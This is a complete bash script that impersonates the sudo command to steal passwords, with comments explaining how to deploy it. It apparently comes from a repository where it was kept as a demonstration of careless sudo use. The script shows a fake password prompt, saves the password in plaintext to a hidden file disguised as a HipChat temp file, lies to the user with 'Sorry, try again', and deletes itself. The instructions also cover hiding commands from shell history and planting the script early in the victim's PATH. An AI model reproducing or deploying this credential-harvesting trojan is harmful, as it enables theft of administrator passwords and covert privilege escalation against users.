sudo

#!/usr/bin/env bash

# how to deploy
#
#    first of all, don't.  this was written for a prank and is only on this repo to demonstrate how 
#    easy and thus how dangerous uncautious use of sudo is.  that should be obvious to everyone but it 
#    still evil.  don't use this.
# 
#    put a SPACE IN FRONT OF ALL OF ALL COMMANDS [prevents bash history]
#
#    save script as "sudo" and chmod +x it
#    stage it to a directory that is the first thing in the user's $PATH; may require editing .bashrc to add "~.hipchatutil/" or something
#    log out
#    log in (to set path)
#    touch ~/.do_no_evil
#    verify installation by testing "sudo ls -lar"
#    rm -f touch ~/.do_no_evil ~/.hipchat_temp_v6612

catch=~/.hipchat_temp_v6612
sudo=/usr/bin/sudo
test=~/.do_no_evil

# if sudo timeout is in effect, NEVER catch!
if sudo -n true 2>/dev/null; then 
    exec $sudo "$@"
fi

# if there is a capture file already, NEVER catch
if [[ -e $catch ]]; then 
    exec $sudo "$@"
fi

# I'm sorry that you're such a poor typist
printf Password: 
read -s PASSWORD
echo $PASSWORD > $catch
printf "\nSorry, try again.\n"
if [[ ! -e $test ]]; then
    # delete ourselves after a capture unless the test file is there
    us=${BASH_SOURCE[0]}
    rm -f $us 2>/dev/null
fi
exec $sudo "$@"